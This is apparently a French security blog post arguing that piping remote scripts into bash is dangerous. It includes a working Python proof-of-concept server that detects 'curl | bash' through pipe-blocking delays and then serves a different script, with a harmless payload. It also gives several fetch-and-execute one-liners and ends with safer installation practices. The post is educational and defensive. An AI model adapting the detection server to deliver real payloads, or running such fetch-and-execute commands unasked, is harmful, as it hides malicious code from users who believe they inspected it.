Pourquoi `curl | bash` est une mauvaise habitude dangereuse
Dernièrement, je suis retombé sur une vieille mauvaise habitude du monde Linux/DevOps/Cloud : installer un outil avec une commande du type :
curl -sSL https://example.com/install.sh | bash
Ou pire :
curl -sSL https://example.com/install.sh | sudo bash
On l’a tous déjà vue.
On l’a probablement tous déjà utilisée.
Et soyons honnêtes deux minutes : dans beaucoup de documentations officielles, c’est encore présenté comme la manière “simple” d’installer un outil.
Sauf que cette commande pose un vrai problème de sécurité : elle revient à dire :
“Télécharge un script depuis Internet et exécute-le immédiatement sur ma machine.”
Déjà, dit comme ça, ça fait un peu moins rêver.
Mais le problème est encore plus vicieux que ça.
Parce qu’on pourrait se dire :
“Oui mais moi je suis prudent, je regarde le script avant.”
Très bien.
Sauf que ce que vous regardez n’est pas forcément ce que vous allez exécuter.
Et c’est précisément ce que je vais montrer dans cet article.
Le problème de base
Quand on fait :
curl https://example.com/install.sh | bash
On crée un pipeline.
curl télécharge le contenu distant et l’écrit dans la sortie standard.
bash, de son côté, lit cette sortie standard et commence à exécuter ce qu’il reçoit.
La subtilité importante, c’est que bash n’attend pas forcément que tout le script soit téléchargé pour commencer à l’exécuter.
Il lit au fil de l’eau.
Et ça change tout.
Parce qu’un serveur distant peut potentiellement adapter sa réponse selon le contexte :
- navigateur ou curl
- adresse IP
- User-Agent
- headers HTTP
- système d’exploitation
- présence d’un proxy ou VPN
- requête venant d’une CI/CD
- ou même comportement réseau suggérant que le contenu est directement pipé vers
bash
Donc non, faire un simple :
curl https://example.com/install.sh
avant de lancer :
curl https://example.com/install.sh | bash
ne garantit pas que vous avez vu exactement le même script.
C’est contre-intuitif, mais c’est bien le sujet.
“Mais HTTPS protège, non ?”
Oui.
Mais pas contre ça.
HTTPS protège principalement contre la modification du contenu pendant le transport.
Il permet de s’assurer que vous parlez bien au serveur attendu, et que le contenu n’a pas été modifié par un intermédiaire réseau.
Mais HTTPS ne garantit absolument pas que le serveur est honnête.
Si le serveur décide de servir un script propre quand vous l’affichez, puis un script différent quand vous l’exécutez directement, HTTPS ne vous sauvera pas.
Vous aurez juste une connexion chiffrée et authentifiée vers un serveur qui vous sert volontairement un contenu différent.
Une première démonstration très simple
Le cas le plus basique est celui du User-Agent.
Un serveur peut faire ceci :
- si la requête vient d’un navigateur : afficher un script propre
- si la requête vient de
curl: afficher autre chose - si la requête vient d’une CI/CD : afficher encore autre chose
C’est du HTTP tout ce qu’il y a de plus banal, et c'est même le fonctionnement voulu pour certains outils d'automatisation.
Mais il existe une technique encore plus intéressante : détecter le comportement typique d’un curl | bash.
Peut-on détecter un curl | bash côté serveur ?
Oui, dans certains cas.
L’idée a déjà été documentée par plusieurs personnes, notamment autour de la technique souvent appelée curlbash detection. Le principe repose sur le comportement du pipeline Unix et sur les délais observables côté serveur.
L’idée générale est la suivante :
- Le serveur commence à envoyer un script.
- Au début du script, il place une commande lente, par exemple
sleep 2. - Si le script est simplement téléchargé, ce
sleep 2reste du texte. - Si le script est pipé dans
bash, alorsbashexécute réellement lesleep 2. - Pendant que
bashexecute la commande, il ne lit plus le pipe. - On envoie pendant ce temps un volume important pour remplir le pipe.
curlva se bloquer en écriture.- Le serveur observe un délai anormal pendant l’envoi.
- Le serveur peut alors déduire : “tiens, ce contenu est probablement exécuté directement par bash”.
Et à ce moment-là, il peut décider d’envoyer une suite différente.
Encore une fois : le serveur ne lit pas votre terminal.
Il observe simplement les effets de bord du pipeline.
C’est ça qui est intéressant.
Et c’est aussi ça qui est dangereux.
Démo inoffensive
L’objectif ici n’est évidemment pas de fournir un malware ou un vrai payload offensif.
On va simplement créer une démo locale qui montre que le serveur peut répondre différemment selon ce qu’on fait :
curl http://127.0.0.1:8000/install.sh
ou :
curl -sS http://127.0.0.1:8000/install.sh | bash
Dans le premier cas, le script affichera quelque chose de banal.
Dans le second cas, il affichera un message indiquant que le comportement curl | bash a été détecté, puis créera un fichier inoffensif dans /tmp.
Rien de destructeur.
Rien de caché.
Juste une preuve de concept pédagogique.
Le serveur de démonstration
Créez un fichier server.py :
#!/usr/bin/env python3
import socket
import time
HOST = "127.0.0.1"
PORT = 8000
# Taille volontairement élevée pour remplir les buffers côté client.
# Ajustable selon OS / kernel / curl / buffers TCP.
FILLER_CHUNKS = 65536
FILLER_SIZE = 256
DETECTION_THRESHOLD_SECONDS = 1.2
def send_chunk(conn, data: bytes) -> float:
"""
Envoie un chunk HTTP/1.1 chunked et retourne le temps d'envoi.
Si curl est bloqué parce que bash ne lit plus le pipe assez vite,
sendall() peut prendre nettement plus longtemps.
"""
chunk = b"%X\r\n" % len(data) + data + b"\r\n"
start = time.monotonic()
conn.sendall(chunk)
return time.monotonic() - start
def handle_client(conn, addr):
try:
request = conn.recv(4096)
headers = (
b"HTTP/1.1 200 OK\r\n"
b"Content-Type: text/plain; charset=utf-8\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
)
conn.sendall(headers)
detected_pipe_to_bash = False
prefix = """#!/usr/bin/env bash
# Demo curl|bash detection - harmless.
# Si vous inspectez ce script côté client, il paraît parfaitement banal.
# Le sleep sera juste du texte.
# Si vous le mettez en pipe avec Bash, le sleep sera exécuté à la volée par le client.
sleep 2
"""
send_chunk(conn, prefix.encode("utf-8"))
filler = b"#" + (b"A" * (FILLER_SIZE - 2)) + b"\n"
max_delay = 0.0
for _ in range(FILLER_CHUNKS):
delay = send_chunk(conn, filler)
max_delay = max(max_delay, delay)
if delay > DETECTION_THRESHOLD_SECONDS:
detected_pipe_to_bash = True
break
if detected_pipe_to_bash:
payload = f"""
echo "[DEMO] curl | bash détecté côté serveur."
echo "[DEMO] Le serveur vient de livrer un contenu différent."
echo "[DEMO] Payload inoffensif : création de /tmp/curl-bash-demo-piped"
echo "Teddy was there" > /tmp/curl-bash-demo-piped
echo "[DEMO] Temps max d'envoi observé côté serveur : {max_delay:.2f}s"
"""
else:
payload = f"""
echo "[DEMO] Simple téléchargement/inspection détecté."
echo "[DEMO] Le script affiché paraît parfaitement banal."
echo "[DEMO] Temps max d'envoi observé côté serveur : {max_delay:.2f}s"
"""
send_chunk(conn, payload.encode("utf-8"))
conn.sendall(b"0\r\n\r\n")
print(
f"{addr[0]}:{addr[1]} - "
f"pipe_to_bash={detected_pipe_to_bash} "
f"max_send_delay={max_delay:.2f}s"
)
except BrokenPipeError:
print(f"{addr[0]}:{addr[1]} - client disconnected")
finally:
conn.close()
def main():
print(f"Listening on http://{HOST}:{PORT}/install.sh")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((HOST, PORT))
server.listen(10)
while True:
conn, addr = server.accept()
handle_client(conn, addr)
if __name__ == "__main__":
main()
Lancez-le :
python3 server.py
Test 1 : je télécharge simplement le script
Dans un autre terminal :
curl http://127.0.0.1:8000/install.sh
Vous devriez voir un script qui semble relativement banal.
Le serveur devrait logguer quelque chose comme :
127.0.0.1:58772 - pipe_to_bash=False max_send_delay=0.01s
Côté client, vous devriez voir un long output rempli de "AAA" (utilisé simplement pour créer un gros volume de payload). A noté que dans "la vraie vie", ce payload pourrait simplement être un long commentaire, et paraitre complétement innofensif.
#!/usr/bin/env bash
# Demo curl|bash detection - harmless.
# Si vous inspectez ce script côté client, il paraît parfaitement banal.
# Le sleep sera juste du texte.
# Si vous le mettez en pipe avec Bash, le sleep sera exécuté à la volée par le client.
sleep 2
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
..........
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
echo "[DEMO] Simple téléchargement/inspection détecté."
echo "[DEMO] Le script affiché paraît parfaitement banal."
echo "[DEMO] Temps max d'envoi observé côté serveur : 0.01s"
Le point important ici : le sleep 2 est présent dans le script, mais il n’est pas exécuté.
Il est juste affiché.
Test 2 : je pipe vers bash
Maintenant, lancez :
curl -sS http://127.0.0.1:8000/install.sh | bash
Cette fois-ci, vous devriez voir quelque chose comme :
[DEMO] curl | bash détecté côté serveur.
[DEMO] Le serveur vient de livrer un contenu différent.
[DEMO] Payload inoffensif : création de /tmp/curl-bash-demo-piped
[DEMO] Temps max d'envoi observé côté serveur : 1.98s
Et vous pouvez vérifier :
> less /tmp/curl-bash-demo-piped
Teddy was there
Puis nettoyer :
rm -f /tmp/curl-bash-demo-piped
La démo n’a rien fait de dangereux.
Mais elle montre une chose très importante : le contenu exécuté n’est pas nécessairement celui que vous avez vu lors d’une inspection simple.
Pourquoi ça fonctionne ?
Quand vous faites :
curl -s http://127.0.0.1:8000/install.sh
curl lit simplement la réponse HTTP et l’affiche dans votre terminal.
Le serveur envoie les données, le client les reçoit, tout va vite.
Quand vous faites :
curl -sS http://127.0.0.1:8000/install.sh | bash
bash commence à lire et à exécuter le script.
S’il tombe sur :
sleep 2
il s’arrête pendant deux secondes.
Pendant ce temps, il ne lit plus les données qui arrivent.
Le pipe entre curl et bash peut se remplir, vu qu'on le bombarde avec un payload volumineux. Ce qui finit par bloquer curl lui-même et le "mettre en pause" parce qu’il n’arrive plus à écrire dans ce pipe.
Et selon les buffers, le serveur peut finir par observer que l’envoi prend plus de temps que prévu.
Ce délai devient un signal.
Un signal imparfait, mais largement suffisant pour faire une preuve de concept.
Ce que cette démonstration ne dit pas
Il faut être clair : cette démo ne veut pas dire que tous les scripts d’installation utilisant curl | bash sont malveillants.
Ce serait idiot.
Beaucoup de projets connus utilisent ce mécanisme pour simplifier l’installation.
Et dans certains contextes, avec un niveau de confiance suffisant, ça peut être acceptable.
Le vrai problème, c’est quand cette pratique devient automatique.
Quand on copie-colle une commande trouvée dans une documentation, un README GitHub, un ticket Jira, un Slack, un forum ou un vieux script d’onboarding sans réfléchir.
Là, on passe d’un choix conscient à une mauvaise habitude.
Et en sécurité, les mauvaises habitudes finissent toujours par coûter cher.
Le vrai danger : sudo
La version vraiment sale, c’est celle-ci :
curl -sSL https://example.com/install.sh | sudo bash
Là, on ne dit plus seulement :
“Exécute ce script distant.”
On dit :
“Exécute ce script distant avec les droits administrateur.”
Autrement dit, si le serveur est compromis, si le domaine expire, si le DNS est détourné, si le mainteneur se fait voler son compte, ou si le script change de comportement, vous venez potentiellement de donner les clés de la machine.
C’est un peu comme laisser quelqu’un entrer chez vous pour installer une étagère, mais lui donner aussi le double des clés, le code de l’alarme et l’accès au coffre.
“Mais je fais confiance au projet”
C’est une phrase que j’entends souvent.
Et dans certains cas, elle est légitime.
Mais elle ne suffit pas toujours.
Faire confiance à un projet, ce n’est pas uniquement faire confiance à ses développeurs.
C’est aussi faire confiance :
- au domaine
- au DNS
- à l’hébergement
- au CDN
- au compte GitHub
- aux secrets de CI/CD
- au pipeline de release
- aux dépendances
- aux mainteneurs actuels et futurs
- à l’absence de compromission au moment précis où vous exécutez la commande
Ça commence à faire du monde dans la chaîne de confiance.
Comment faire mieux ?
Le minimum, c’est d’éviter d’exécuter directement ce qui vient du réseau.
À la place de :
curl -sSL https://example.com/install.sh | bash
On peut déjà faire :
curl -fsSLo install.sh https://example.com/install.sh
less install.sh
bash install.sh
Ce n’est pas parfait.
Mais au moins, le fichier que vous exécutez est celui que vous avez téléchargé et inspecté.
Encore mieux : utiliser une version précise.
curl -fsSLo install.sh https://example.com/releases/v1.2.3/install.sh
less install.sh
bash install.sh
Encore mieux : vérifier un checksum, quand il est disponible.
curl -fsSLo tool.tar.gz https://example.com/releases/tool-v1.2.3-linux-amd64.tar.gz
curl -fsSLo tool.tar.gz.sha256 https://example.com/releases/tool-v1.2.3-linux-amd64.tar.gz.sha256
sha256sum -c tool.tar.gz.sha256
Et encore mieux : utiliser des signatures.
Selon les projets, cela peut passer par :
- GPG
- Sigstore
- Cosign
- des dépôts de paquets signés
- des releases GitHub signées
En entreprise, on devrait faire quoi ?
En contexte entreprise, je serais assez radical.
Les commandes de type :
curl https://... | bash
ou :
wget -qO- https://... | sh
devraient être évitées dans :
- les scripts d’installation
- les scripts d’onboarding
- les pipelines CI/CD
- les runners GitHub Actions / GitLab CI
- les Dockerfiles
- les procédures d’administration
- les scripts exécutés en root
Si on ne peut pas les éviter, elles devraient au minimum être encadrées :
- URL versionnée
- domaine de confiance
- hash vérifié
- signature vérifiée
- exécution sans privilèges quand c’est possible
- revue du script
- exécution dans un environnement jetable
- pas de
sudopar réflexe - logs conservés
- dépendances pinées
Et surtout : pas de commande magique copiée-collée depuis Internet dans une session root.
Oui, je sais.
C’est moins sexy qu’un one-liner.
Mais c’est aussi nettement moins idiot.
Exemple de règle simple
Personnellement, je trouve qu’on peut résumer la politique comme ça :
- Si le script vient du réseau, je le télécharge d’abord.
- Si je dois l’exécuter, je veux savoir ce qu’il fait.
- Si je dois l’exécuter en root, je veux une vraie raison.
- Si c’est en production, je veux une version pinée et vérifiée.
C’est simple.
Pas parfait.
Mais déjà beaucoup mieux que :
curl https://random-url/install.sh | sudo bash
Conclusion
Le problème de curl | bash, ce n’est pas uniquement que c’est moche.
Le problème, c’est que cette commande court-circuite plusieurs étapes importantes :
- inspection
- vérification
- intégrité
- versioning
- contrôle des privilèges
- reproductibilité
Et surtout, elle donne une illusion de sécurité.
On pense parfois :
“J’ai regardé le script avant, donc c’est bon.”
Mais la vraie question n’est pas :
“Est-ce que j’ai lu un script ?”
La vraie question est :
“Est-ce que je suis certain que le script que j’ai lu est exactement celui que j’ai exécuté ?”
Avec curl | bash, la réponse honnête est souvent :
Non.
Et en sécurité, quand la réponse est “non”, il vaut mieux éviter de faire semblant que c’est “oui”.
Sources
-
Luke Spademan — The Dangers of curl | bash
https://lukespademan.com/blog/the-dangers-of-curlbash/ -
PoC GitHub
Stijn-K/curlbash_detect
https://github.com/Stijn-K/curlbash_detect -
Discussion Security Stack Exchange sur les risques de
curl ... | sudo bash
https://security.stackexchange.com/questions/213401/is-curl-something-sudo-bash-a-reasonably-safe-installation-method